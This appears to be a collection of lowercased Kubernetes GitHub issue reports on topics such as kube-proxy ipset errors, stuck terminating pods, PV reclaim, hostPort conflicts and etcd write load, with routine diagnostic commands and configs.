<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >  /king logs bug\r >  >  \r \r   what happened  :\r when i apply xxx.yaml ,i can not get the pod logs \r   what you expected to happen  :\r i want to get the pod start logs and visit logs\r   how to reproduce it  as minimally and precisely as possible   :\r v1.11.1\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r  rancher@node93 tools $ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.3\ , gitcommit:\ 2bba0127d85d5a46ab4b778548be28623b32d0b0\ , gittreestate:\ clean\ , builddate:\ 2018-05-21t09:17:39z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.1\ , gitcommit:\ b1b29978270dc22fecc592ac55d903350454310a\ , gittreestate:\ clean\ , builddate:\ 2018-07-17t18:43:26z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r    \r - cloud provider or hardware configuration:\r virtaulbox\r - os  e.g. from /etc/os-release :\r    \r  root@node128 dinfo-helm-efk   cat /etc/os-release\r name=\ centos linux\ \r version=\ 7  core \ \r id=\ centos\ \r id_like=\ rhel fedora\ \r version_id=\ 7\ \r pretty_name=\ centos linux 7  core \ \r ansi_color=\ 0;31\ \r cpe_name=\ cpe:/o:centos:centos:7\ \r home_url=\ https://www.centos.org/\ \r bug_report_url=\ https://bugs.centos.org/\ \r \r centos_mantisbt_project=\ centos-7\ \r centos_mantisbt_project_version=\ 7\ \r redhat_support_product=\ centos\ \r redhat_support_product_version=\ 7\ \r    \r - kernel  e.g.  uname -a  :\r    \r  root@node128 dinfo-helm-efk   uname -r\r 3.10.0-862.6.3.el7.x86_64\r \r    \r - install tools:\r rke\r rancher 2.0.7\r \r \r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r >  \r \r   what happened  :\r failed to use  ipset add  to add entries inside kube-proxy-amd64:v1.10.7  as @cloudboss described: https://github.com/kubernetes/kubernetes/issues/67292 issuecomment-421223703  \r    \r ipset v6.30: syntax error: 'tcp' is invalid as number\r syntax error: cannot parse 'tcp' as a protocol\r    \r tested on 1.10.  and 1.11. .\r original threads: https://github.com/kubernetes/kubernetes/issues/67292 issuecomment-419744979 and comments after\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r    \r docker run -ti --privileged k8s.gcr.io/kube-proxy-amd64:v1.10.7 sh -c \ ipset version; ipset create test hash:ip,port,ip family inet hashsize 1024 maxelem 65536 -exist; ipset add test 10.0.0.2,tcp:8443,10.0.0.2 -exist\r    \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r @dawidmalina what's the image of kube-proxy you used? kube-proxy-amd64:v1.11.1? it works fine in my side \r > i have quite similar issue with kube-proxy configured with ipvs mode  kubernetes 1.11.1 deployed on ubuntu 16.04  with calico as network provider:\r \r /cc @cloudboss @dawidmalina\r \r  /area kube-proxy

problem  some predicates may need precomputations or \ preconditions\  to be met before they can run.   - as of now, those preconditions may or may not be gauranteed to exist in the  predicatemetadata  struct. - some of those predicates may be able to bootstrap some of their own data  by redoing a query, if the predicate metadata  is incomplete .    solution  we should decide wether  1  predicates should try to create data which is precomputed and  2  if so, what the best way to do this is which is scalable and doesnt lead to duplication of error handling/querying.   two possible solutions: - make any predicate's precompute function  as of now, really we only have one - but there may be others  stand alone - so that it can be called outside of the standard precomputation  steps provided by the scheduler framework  this might help in corner cases - i.e. if a query fails randomly, the predicate has a retry built-in - but it will lead to duplication of logic . - each predicates precompute function stays encapsulated, and predicates simply have preconditions of checking for missing data  this is simpler to maintain from the code perspective, but might be some corner cases where it hurts us .  once we decide, we would update the predicates_test functions where necessary to include test cases for when precomputation is enabled.   @wojtek-t suggesting this as a follow on to  33763 .

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :   no  \r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :   pod, stuck, terminating  \r \r ---\r \r   is this a bug report or feature request?    choose one : bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r   git clone master and build locally.  \r    \r client version: version.info{major:\ 1\ , minor:\ 7+\ , gitversion:\ v1.7.0-alpha.0.849+df70b30e59b5da\ , gitcommit:\ df70b30e59b5da98e83fdfa327e1cd107a582ca1\ , gittreestate:\ clean\ , builddate:\ 2017-03-06t01:48:01z\ , goversion:\ go1.8\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7+\ , gitversion:\ v1.7.0-alpha.0.849+df70b30e59b5da\ , gitcommit:\ df70b30e59b5da98e83fdfa327e1cd107a582ca1\ , gittreestate:\ clean\ , builddate:\ 2017-03-06t01:48:01z\ , goversion:\ go1.8\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r   environment  :\r -   cloud provider or hardware configuration  : openstack vm\r -   os    e.g. from /etc/os-release :  pretty_name=\ ubuntu 14.04.4 lts\  \r -   kernel    e.g.  uname -a  : \r  linux xubuntu 3.16.0-73-generic  95~14.04.1-ubuntu smp thu jun 9 08:00:04 utc 2016 x86_64 x86_64 x86_64 gnu/linux \r -   install tools  :\r -   others  :\r \r \r   what happened  :\r pod stucks in terminating and the related rc can't be deleted.\r \r   what you expected to happen  :\r the rc and pods can be deleted.\r \r   how to reproduce it    as minimally and precisely as possible \r - create a cluster with two nodes, start kube-apiserver with flag  --allow-privileged=true , start kubelet on one node with  --allow-privileged=true  and the other node without.\r - create a rc as below json file. after creating, the two pods may be scheduled to the two nodes. but the pod, which has been scheduled to the node which doesn't allow privilege, will become  pending  due to  error validating pod rc-nginx-single-qwffh.default from api, ignoring: spec.containers 0 .securitycontext.privileged: forbidden: disallowed by cluster policy \r - delete the rc. then the pending pod will stuck in terminating.\r    \r name                    ready     status        restarts   age\r rc-nginx-single-qwffh   0/1       terminating   0          2h\r    \r \r   anything else we need to know  :\r    \r {\r   \ kind\ : \ replicationcontroller\ ,\r   \ apiversion\ : \ v1\ ,\r   \ metadata\ : {\r     \ name\ : \ rc-nginx-single\ \r   },\r   \ spec\ : {\r      \ replicas\ : 2,\r      \ selector\ : {\ name\ : \ 80-nginx\ },\r      \ template\ : {\r           \ metadata\ : {\r               \ name\ : \ nginx-template\ ,\r               \ labels\ : {\ name\ : \ 80-nginx\ }\r           },\r           \ spec\ : {\r               \ containers\ :  \r                   {\r                    \ name\ : \ nginx-con\ ,\r                    \ image\ : \ nginx\ ,\r                    \ securitycontext\ : {\r                         \ privileged\ : true\r                    },\r                    \ imagepullpolicy\ : \ ifnotpresent\ \r                   }\r                   \r           }\r       }\r    }\r }\r \r    \r

using k8s v1.6.1.\r \r i created pvs with reclaimpolicy: retain. in the k8s doc sais \ retain – manual reclamation\ \r \r once, i used it by a pvc, and pvcs are deleted, i want to release the volumes, but volumes are still \ bound\ \r \r   pvs  \r    \r kubectl get pv\r name      capacity   accessmodes   reclaimpolicy   status    claim                                 storageclass   reason    age\r pv0       1gi        rwx           retain          bound     default/pvc1   anything                 6d\r pv3       1gi        rwo           retain          bound     default/pvc2   anything                 1h\r pv4       1gi        rwo           retain          bound     default/pvc3   anything                 1h\r    \r \r how can i release the volumes, and put in available state again?\r

feature request  :\r \r as of today current self hosting model is as follows: \r 1. load the static pod specification from disk  from /etc/kubernetes/manifests \r 2. extract the podspec from that static pod specification\r 3. mutate the podspec to be compatible with self-hosting  add the right labels, taints, etc. so it can schedule correctly \r 4. build a new daemonset object for the self-hosted component in question. use the above mentioned podspec\r 5. create the daemonset resource. wait until the pods are running.\r 6. remove the static pod manifest file. the kubelet will stop the original static pod-hosted component that was running.\r 7. the self-hosted containers should now step up and take over.\r ...\r \r a problem arises when we have a power failure condition.  because we no longer have a manifest of what was running we can no longer restart the control-plane components. \r \r a very simple workaround would be the following: \r 1. add a --checkpoint-path flag with package defaults to /var/lib/kubernetes/checkpoints such that the kubelet can safely write to this location and follow standard conventions. \r 2. on startup, have the kubelet read in the manifest-path as usual. \r 3. also read in the --checkpoint-path if specified\r 4. prior to pod startup:\r    a. check the pod for a well defined annotation or label.\r    a. delete old checkpoints  if there is one  \r    b. write named_yyyymmddhhmm manifest to the checkpoint location.\r \r this way the kubelet keeps an active record of it's running pods.  there are other complexities around various other checkpointing ideas, and we've  @luxas and myself  decided that this is the bare minimum change that is simple and will enable us to move forwards. \r \r todo: we will likely need a minor iteration for configmaps as well. \r \r  /cc @kubernetes/sig-node-feature-requests @kubernetes/sig-cluster-lifecycle-feature-requests \r @roberthbailey @dchen1107 @luxas @jbeda \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r inconsistency in generated swagger.json causes coreapi tools to fail.  specifically \r \r  good \r /api/v1/namespaces/{namespace}/bindings\r and many others include in: \ path\  parameters for namespace, name, etc..\r \r  bad \r /api/v1/namespaces/{namespace}/pods/{name}\r includes only query and body parameters.\r \r   what you expected to happen  :\r all url endpoints should include descriptions of all required parameters\r \r   how to reproduce it  as minimally and precisely as possible   :\r open https://raw.githubusercontent.com/kubernetes/kubernetes/master/api/openapi-spec/swagger.json and search for /api/v1/namespaces/{namespace}/pods/{name}, compare to /api/v1/namespaces/{namespace}/bindings\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

 /sig  area/monitoring\r \r \r   what happened  :\r \r hello all, \r \r i try to deploy grafana/influxdb/heapster on my kubernetes 1.6.6 from this offical files  https://github.com/kubernetes/kubernetes/tree/master/cluster/addons/cluster-monitoring/influxdb\r \r i have issue link to the service monitoring-influxdb.\r \r my grafana container can't access to service influxdb. i have the following error :\r \r    \r 2017/09/11 12:44:09 http: proxy error: dial tcp 10.254.231.135:8086: i/o timeout\r 2017/09/11 12:44:58 http: proxy error: dial tcp 10.254.231.135:8086: i/o timeout\r t=2017-09-11t12:44:58+0000 lvl=info msg=\ request completed\  logger=context userid=0 orgid=1 uname= method=get path=/query status=502 remote_addr=\ 172.12.96.0, 172.12.96.0\  time_ms=30005 size=0 referer=https://10.226.227.238/api/v1/proxy/namespaces/kube-system/services/monitoring-grafana/datasources/edit/1\r 2017/09/11 12:54:15 http: proxy error: dial tcp 10.254.231.135:8086: i/o timeout\r t=2017-09-11t12:54:15+0000 lvl=info msg=\ request completed\  logger=context userid=0 orgid=1 uname= method=get path=/query status=502 remote_addr=\ 172.12.96.0, 172.12.96.0\  time_ms=30003 size=0 referer=https://10.226.227.238/api/v1/proxy/namespaces/kube-system/services/monitoring-grafana/datasources/edit/1\r    \r \r the ip is well the ip of service monitoring-influxdb.\r here is my pod configuration : \r \r    \r         - image: gcr.io/google_containers/heapster-grafana-amd64:v4.4.3\r           name: grafana\r           env:\r           resources:\r               keep request = limit to keep this container in guaranteed class\r             limits:\r               cpu: 100m\r               memory: 100mi\r             requests:\r               cpu: 100m\r               memory: 100mi\r           env:\r               this variable is required to setup templates in grafana.\r             - name: influxdb_service_url\r               value: http://monitoring-influxdb:8086\r                 the following env variables are required to make grafana accessible via\r                 the kubernetes api-server proxy. on production clusters, we recommend\r                 removing these env variables, setup auth for grafana, and expose the grafana\r                 service using a loadbalancer or a public ip.\r             - name: gf_auth_basic_enabled\r               value: \ false\ \r             - name: gf_auth_anonymous_enabled\r               value: \ true\ \r             - name: gf_auth_anonymous_org_role\r               value: admin\r             - name: gf_server_root_url\r               value: /api/v1/proxy/namespaces/kube-system/services/monitoring-grafana/\r           volumemounts:\r           - name: grafana-persistent-storage\r             mountpath: /var\r       volumes:\r       - name: influxdb-persistent-storage\r         emptydir: {}\r       - name: grafana-persistent-storage\r         emptydir: {}\r    \r \r \r i tested on k8s 1.7.5, and the issue is the same...\r \r on grafana gui, i have an error on datasource when i try \ save and test\  \r \r ! capture d ecran 2017-09-11 a 16 26 11  https://user-images.githubusercontent.com/26655020/30279628-0b1075d6-970e-11e7-89c3-d63ab70c2a95.png \r \r \r   what you expected to happen  :\r \r grafana should be capable to access to influxdb datasource and see metrics on dashboard\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r deploy suite heaspter/influxdb/grafana as it is on repository\r \r   anything else we need to know?  :\r \r   environment  :\r - client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.6\ , gitcommit:\ 7fa1c1756d8bc963f1a389f4a6937dc71f08ada2\ , gittreestate:\ clean\ , builddate:\ 2017-06-16t18:34:20z\ , goversion:\ go1.7.6\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.6\ , gitcommit:\ 7fa1c1756d8bc963f1a389f4a6937dc71f08ada2\ , gittreestate:\ clean\ , builddate:\ 2017-06-16t18:21:54z\ , goversion:\ go1.7.6\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - cloud provider : openstack\r - os  e.g. from /etc/os-release :\r name=\ centos linux\ \r version=\ 7  core \ \r id=\ centos\ \r id_like=\ rhel fedora\ \r version_id=\ 7\ \r pretty_name=\ centos linux 7  core \ \r ansi_color=\ 0;31\ \r cpe_name=\ cpe:/o:centos:centos:7\ \r home_url=\ https://www.centos.org/\ \r bug_report_url=\ https://bugs.centos.org/\ \r \r centos_mantisbt_project=\ centos-7\ \r centos_mantisbt_project_version=\ 7\ \r redhat_support_product=\ centos\ \r redhat_support_product_version=\ 7\ \r \r - kernel  e.g.  uname -a  :\r linux kubemaster 3.10.0-514.el7.x86_64  1 smp tue nov 22 16:42:41 utc 2016 x86_64 x86_64 x86_64 gnu/linux\r \r

angular has pretty cool error reporting that dumps urls  which describe the error and contextualize with specific info from the field that is incorrect. we should consider doing something like that.

both kubenet and the cni driver use --cni-bin-dirs for the search path of cni plugins. while the cni driver just looked in --cni-bin-dir for plugins, kubenet always looked in defaultcnidir  eg /opt/cni/bin  first and then looked in --cni-bin-dir.\r \r we could:\r \r 1. make these consistent\r 2. ignore the problem until kubenet is killed\r \r i'd suggest  2...\r \r @yujuhong

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r \r when there are multiple containers terminated in a pod, some may succeed, while others may fail. sometimes,  kubectl get pod  show completed while there are indeed containers failed, e.g.\r \r    sh\r $ kubectl get pod example\r name      ready     status      restarts   age\r example   0/3       completed   0          31m\r \r $ kubectl describe pod example\r name:         example\r namespace:    default\r node:         k8s-agentpool1-38622806-2/10.240.0.8\r start time:   mon, 26 mar 2018 13:07:15 +0800\r labels:       <none>\r annotations:  <none>\r status:       failed\r ip:           10.244.4.25\r containers:\r   container1:\r     container id:  docker://e4c8712a22a5a36eb0fedf968d5b383beec9824eabe7d31776c0bd9d7181ac12\r     image:         busybox\r     image id:      docker-pullable://busybox@sha256:2107a35b58593c58ec5f4e8f2c4a70d195321078aebfadfbfb223a2ff4a4ed21\r     port:          <none>\r     command:\r       /bin/sh\r       -c\r     args:\r       echo container1 && sleep 10 && echo done\r     state:          terminated\r       reason:       completed\r       exit code:    0\r       started:      mon, 26 mar 2018 13:07:22 +0800\r       finished:     mon, 26 mar 2018 13:07:32 +0800\r     ready:          false\r     restart count:  0\r     environment:    <none>\r     mounts:\r       /var/run/secrets/kubernetes.io/serviceaccount from default-token-n4pn6  ro \r   container2:\r     container id:  docker://ad5af80db0a8a241cb59277f92cef64ea38a6fc74377ca7356b0184d346c2440\r     image:         busybox\r     image id:      docker-pullable://busybox@sha256:2107a35b58593c58ec5f4e8f2c4a70d195321078aebfadfbfb223a2ff4a4ed21\r     port:          <none>\r     command:\r       /bin/sh\r       -c\r     args:\r       echo container2 && sleep 1 && afewggfew\r     state:          terminated\r       reason:       error\r       exit code:    127\r       started:      mon, 26 mar 2018 13:07:26 +0800\r       finished:     mon, 26 mar 2018 13:07:27 +0800\r     ready:          false\r     restart count:  0\r     environment:    <none>\r     mounts:\r       /var/run/secrets/kubernetes.io/serviceaccount from default-token-n4pn6  ro \r   container3:\r     container id:  docker://baf88fc4165ccd6eb585d32b736a317806683d4c4d653a551df242b23dc74d72\r     image:         busybox\r     image id:      docker-pullable://busybox@sha256:2107a35b58593c58ec5f4e8f2c4a70d195321078aebfadfbfb223a2ff4a4ed21\r     port:          <none>\r     command:\r       /bin/sh\r       -c\r     args:\r       echo container3 && sleep 10 && geragfef\r     state:          terminated\r       reason:       error\r       exit code:    127\r       started:      mon, 26 mar 2018 13:07:30 +0800\r       finished:     mon, 26 mar 2018 13:07:40 +0800\r     ready:          false\r     restart count:  0\r     environment:    <none>\r     mounts:\r       /var/run/secrets/kubernetes.io/serviceaccount from default-token-n4pn6  ro \r conditions:\r   type           status\r   initialized    true\r   ready          false\r   podscheduled   true\r volumes:\r   default-token-n4pn6:\r     type:        secret  a volume populated by a secret \r     secretname:  default-token-n4pn6\r     optional:    false\r qos class:       besteffort\r node-selectors:  <none>\r tolerations:     <none>\r events:\r   type    reason                 age   from                                message\r   ----    ------                 ----  ----                                -------\r   normal  scheduled              31m   default-scheduler                   successfully assigned example to k8s-agentpool1-38622806-2\r   normal  successfulmountvolume  31m   kubelet, k8s-agentpool1-38622806-2  mountvolume.setup succeeded for volume \ default-token-n4pn6\ \r   normal  pulling                31m   kubelet, k8s-agentpool1-38622806-2  pulling image \ busybox\ \r   normal  pulled                 31m   kubelet, k8s-agentpool1-38622806-2  successfully pulled image \ busybox\ \r   normal  created                31m   kubelet, k8s-agentpool1-38622806-2  created container\r   normal  started                31m   kubelet, k8s-agentpool1-38622806-2  started container\r   normal  pulling                31m   kubelet, k8s-agentpool1-38622806-2  pulling image \ busybox\ \r   normal  pulled                 30m   kubelet, k8s-agentpool1-38622806-2  successfully pulled image \ busybox\ \r   normal  created                30m   kubelet, k8s-agentpool1-38622806-2  created container\r   normal  started                30m   kubelet, k8s-agentpool1-38622806-2  started container\r   normal  pulling                30m   kubelet, k8s-agentpool1-38622806-2  pulling image \ busybox\ \r   normal  pulled                 30m   kubelet, k8s-agentpool1-38622806-2  successfully pulled image \ busybox\ \r   normal  created                30m   kubelet, k8s-agentpool1-38622806-2  created container\r   normal  started                30m   kubelet, k8s-agentpool1-38622806-2  started container\r    \r \r   what you expected to happen  :\r \r the status of the pod should be shown as  failed  or  error \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.9.6\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

as described in the document:\r the job object will remain after it is completed so that you can view its status. \r \r so, how about the resources the job occupied, will they be released?\r

in order to allow optimistic concurrency in the face of edits, the apiserver, storage layers, and the registries should support at a minimum: - return an opaque value with each resource that corresponds to its modification state via the api   - for simplicity, the etcd modification index   - as an etag?  or as a value in the object? - allow clients to pass the opaque modification value back to the apiserver on put and down into the storage/registry layer   - as if-match?  or as a value in the object on put?   - return 409 on conflict detection   - if not passed/specified, no update detection is provided

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r i'm using a proxy-pod to forward both  80/http  and  443/https  privileged ports to an  ingress-nginx  service using the following configuration:\r \r    yaml\r apiversion: v1\r kind: pod\r metadata:\r   name: ingress-proxy\r   namespace: ingress-nginx\r spec:\r   containers:\r   - name: proxy-http\r     image: gcr.io/google_containers/proxy-to-service:v2\r     args:   \ tcp\ , \ 80\ , \ ingress-nginx.ingress-nginx\   \r     ports:\r     - name: http\r       protocol: tcp\r       containerport: 80\r       hostport: 80\r       hostip: 37.59.4.29\r   - name: proxy-https\r     image: gcr.io/google_containers/proxy-to-service:v2\r     args:   \ tcp\ , \ 443\ , \ ingress-nginx.ingress-nginx\   \r     ports:\r     - name: https\r       protocol: tcp\r       containerport: 443\r       hostport: 443\r       hostip: 37.59.4.29\r    \r \r however, when i start this service, it somehow highjacks the ports for other host ips as well.\r \r i have a legacy nginx-proxy running on the same server, inside docker bound on specific non-conflicting ips, but as soon as i start the pod above, it breaks ssl termination of the existing nginx proxy  outputing the \ fake ingress certificate\  .\r \r - existing docker-compose:\r \r    \r   docker-compose ps\r          name                        command               state                                                    ports                                                  \r ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------\r nginx_proxy               nginx -g daemon off;             up      5.135.123.160:443->443/tcp,5.135.123.162:443->443/tcp, 5.135.123.160:80->80/tcp,5.135.123.162:80->80/tcp\r nginx_proxy_docker_gen    /bin/sh -c /usr/local/bin/ ...   up                                                                                                              \r nginx_proxy_letsencrypt   /bin/bash /app/entrypoint. ...   up \r    \r \r - working ssl termination before pod start:\r \r    \r   curl -iv https://registry.mgcrea.io 2>&1 \r  ... \r   server certificate:\r    subject: cn=gitlab.mgcrea.io\r    start date: jun 11 21:55:37 2018 gmt\r    expire date: sep  9 21:55:37 2018 gmt\r    subjectaltname: host \ registry.mgcrea.io\  matched cert's \ registry.mgcrea.io\ \r    issuer: c=us; o=let's encrypt; cn=let's encrypt authority x3\r    ssl certificate verify ok.\r    \r \r - non conflicting ip:\r \r    \r $ dig @8.8.8.8 registry.mgcrea.io\r  ... \r ;; answer section:\r registry.mgcrea.io.\t3599\tin\tcname\tns349683-a.mgcrea.io.\r ns349683-a.mgcrea.io.\t3599\tin\ta\t5.135.123.160\r    \r \r - broken ssl termination after pod start:\r \r    \r   curl -iv https://registry.mgcrea.io 2>&1 \r  ... \r   ssl certificate problem: unable to get local issuer certificate\r    \r \r    \r   openssl s_client -connect registry.mgcrea.io:443\r  ... \r -----end certificate-----\r subject=/o=acme co/cn=kubernetes ingress controller fake certificate\r issuer=/o=acme co/cn=kubernetes ingress controller fake certificate\r ---\r    \r \r   what you expected to happen  :\r \r initial services should not be affected by a pod with a proper, non-conflicting hostip/hostport combination.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r see above pod template.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r $ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.3\ , gitcommit:\ 2bba0127d85d5a46ab4b778548be28623b32d0b0\ , gittreestate:\ clean\ , builddate:\ 2018-05-21t09:17:39z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.0\ , gitcommit:\ 91e7b4fd31fcd3d5f436da26c980becec37ceefe\ , gittreestate:\ clean\ , builddate:\ 2018-06-27t20:08:34z\ , goversion:\ go1.10.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r    \r bare metal setup via kubeadm\r    \r - os  e.g. from /etc/os-release :\r    \r cat /etc/os-release\r name=\ ubuntu\ \r version=\ 16.04.4 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.4 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r    \r - kernel  e.g.  uname -a  :\r    \r linux fr-3eaa 4.15.0-23-generic  25~16.04.1-ubuntu smp fri may 25 04:50:20 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r    \r - install tools:\r    \r kubeadm version: &version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.0\ , gitcommit:\ 91e7b4fd31fcd3d5f436da26c980becec37ceefe\ , gittreestate:\ clean\ , builddate:\ 2018-06-27t20:14:41z\ , goversion:\ go1.10.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - others:\r \r > using flannel  followed official kubeadm tutorial :\r    \r kubectl apply -f https://raw.githubusercontent.com/coreos/flannel/v0.10.0/documentation/kube-flannel.yml\r    \r > up-to-date  non-supported  docker:\r    \r   docker -v\r docker version 18.03.1-ce, build 9ee9f40\r    \r \r

description  :\r \r  scheduler.preempt  will delete victims after set nominatednodename; if only part of victims are deleted, the preemptor will pending here:  podeligibletopreemptothers  will return false, as part of victims are deleted. \r \r  

  \r i've spent hours now trying to make \r  externaltrafficpolicy: local  works,\r on nodeport  services, with or without externalips\r using the clusterip+port or the nodeip+targetport,\r \r \r i'm using kube 1.11.2 with cillium on ubuntu   on test virtualbox cluster   , proxymode=iptables \r i've seen similar issues without reponse, \r \r https://github.com/kubernetes/kubernetes/issues/52096\r https://github.com/kubernetes/kubernetes/issues/58338\r https://github.com/kubernetes/kubernetes/issues/66161\r ....\r \r \r the only client ip that seems to work   not being snatted  is the ip of the pod  when request come from an in-cluster-pod,\r when using the  serviceip + port  of the nodeport service from another pod in the cluster...  when using externalip doesn't work even when requesting from a pod of the cluster..  \r \r but what is the use-case for that ? i think that  externaltrafficpolicy: local  is here to get ip addresses of external clients not of internal pods..  which i still haven't ridden of a usecase for that  \r \r also.. this is the only feature that used  with \r    \r    - ipblock:\r         cidr: 172.1.8.1/32\r    \r in networkpolicies allow some kind of ip filtering   ie: restricting access to vpn/company static ip , legacy systems that are not in the cluster, other various external services   \r \r i see that the discussion about this feature is always lacking support.. i need that, but i have no time/capacity to implement it, but i think that in this case if no one care it's better to remove this from the docs than leaving misleading docs which causes so much waste of time trying to make it works.. because again..  it doens't work as expected :  \r \r thank you,\r francesco\r \r

iotop\r the etcd write too much\r    \r \r 22671 be/4 root        0.00 b/s    0.00 b/s  0.00 % 21.23 %  kworker/u4:1 \r 12572 be/4 root        0.00 b/s   15.80 k/s  0.00 % 16.87 % etcd --peer-client-cert-auth --client-cert-auth --name=~ --peer-trusted-ca-file=/etc/kubernetes/ssl/kube-ca.pem\r 20557 be/4 root        0.00 b/s  151.69 k/s  0.00 % 13.78 % etcd --peer-client-cert-auth --client-cert-auth --name=~ --peer-trusted-ca-file=/etc/kubernetes/ssl/kube-ca.pem\r 21356 be/4 root        0.00 b/s   41.08 k/s  0.00 % 10.58 % etcd --peer-client-cert-auth --client-cert-auth --name=~ --peer-trusted-ca-file=/etc/kubernetes/ssl/kube-ca.pem\r 26823 be/4 root        0.00 b/s   18.96 k/s  0.00 %  5.06 % etcd --peer-client-cert-auth --client-cert-auth --name=~ --peer-trusted-ca-file=/etc/kubernetes/ssl/kube-ca.pem\r 20897 be/4 root        0.00 b/s   44.24 k/s  0.00 %  3.32 % etcd --peer-client-cert-auth --client-cert-auth --name=~ --peer-trusted-ca-file=/etc/kubernetes/ssl/kube-ca.pem\r 19430 be/4 root        0.00 b/s    0.00 b/s  0.00 %  0.53 %  kworker/0:2 \r   503 be/4 root        0.00 b/s   44.24 k/s  0.00 %  0.00 % systemd-journald\r  1146 be/4 root        0.00 b/s    0.00 b/s  0.00 %  0.00 % rsyslogd -n  in:imjournal \r  1240 be/4 root        0.00 b/s    3.16 k/s  0.00 %  0.00 % rsyslogd -n  rs:main q:reg \r  2601 be/4 yanjy       0.00 b/s    3.16 k/s  0.00 %  0.00 % java -xx:+useconcmarksweepgc -xx:cmsinitiatingoccupancy~csearch/lib/  org.elasticsearch.bootstrap.elasticsearch\r 32087 be/4 root        0.00 b/s    3.16 k/s  0.00 %  0.00 % sidecar-injector --cacertfile=/etc/istio/certs/root-cer~mesh --healthcheckinterval=2s --healthcheckfile=/health\r     1 be/4 root        0.00 b/s    0.00 b/s  0.00 %  0.00 % systemd --switched-root --system --deserialize 22\r     2 be/4 root        0.00 b/s    0.00 b/s  0.00 %  0.00 %  kthreadd \r     3 be/4 root        0.00 b/s    0.00 b/s  0.00 %  0.00 %  ksoftirqd/0 \r     5 be/0 root        0.00 b/s    0.00 b/s  0.00 %  0.00 %  kworker/0:0h \r     7 rt/4 root        0.00 b/s    0.00 b/s  0.00 